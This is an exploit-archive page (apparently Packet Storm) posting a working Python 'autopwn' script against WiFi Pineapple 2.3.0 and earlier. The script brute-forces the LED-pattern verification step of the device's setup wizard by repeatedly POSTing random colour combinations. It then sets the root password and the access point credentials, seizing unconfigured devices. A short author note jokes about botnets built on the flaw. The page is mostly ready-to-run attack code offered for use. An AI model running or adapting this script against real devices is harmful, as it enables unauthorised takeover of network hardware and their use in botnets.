exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Pineapple 2.3.0 Autopwn Script

Pineapple 2.3.0 Autopwn Script
Posted Aug 8, 2015
Authored by Electric Mind

Pineapple versions 2.3.0 and below autopwn exploit script.

tags | exploit
SHA-256 | 1a9ed422ab7c88500ab7f223f6dd35f1214e9a38c60862b244e95177e622a3d9

Pineapple 2.3.0 Autopwn Script

Change Mirror Download
I have wrote PoC half a year ago, because i needed to try it on my Chinese router, and it still works on freshly purchased pineapple devices. (hello from Defcon ;) )
And guys, it’s not a talk for the defcon, especially if you have done a botnet based on that shit… ;)
See ya tomorrow at WiFi village...

POC is below:


#!/usr/bin/env python

from random import choice
from urllib import urlencode
from httplib import HTTPConnection


settings = {
"ip": "172.16.42.1",
"port": 1471,
"root_password": "toor",
"ap_ssid": "AccessPoint",
"ap_password": "password"
}

parameters = ('amber', 'blue', 'red',)
values = ('on', 'off', 'blink',)

connection = HTTPConnection(settings["ip"], settings["port"])
php_session = ""

while True:
post_data = "{}&verify_pineapple=true".format(urlencode(dict((parameter, choice(values),) for parameter in parameters)))
connection.request("POST", "/?action=verify_pineapple", post_data, {"Content-type": "application/x-www-form-urlencoded", "Connection": "keep-alive", "Cookie" : php_session})
response = connection.getresponse()
php_session = php_session or response.getheader("set-cookie").split(";")[0]
if "action=set_password" in response.read():
connection.request("POST", "/?action=set_password", "password={0}&password2={0}&set_password=true&eula=true&sw_license=true".format(settings["root_password"]), {"Content-type": "application/x-www-form-urlencoded", "Cookie": php_session})
connection.getresponse().read()
connection.request("POST", "/?action=set_ssid", "ssid={0}&password={1}&password2={1}&set_ssid=true".format(settings["ap_ssid"], settings["ap_password"]), {"Content-type": "application/x-www-form-urlencoded", "Cookie": php_session})
connection.getresponse().read()
connection.request("GET", "/?action=finish")
print "Setup finished"
break




Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close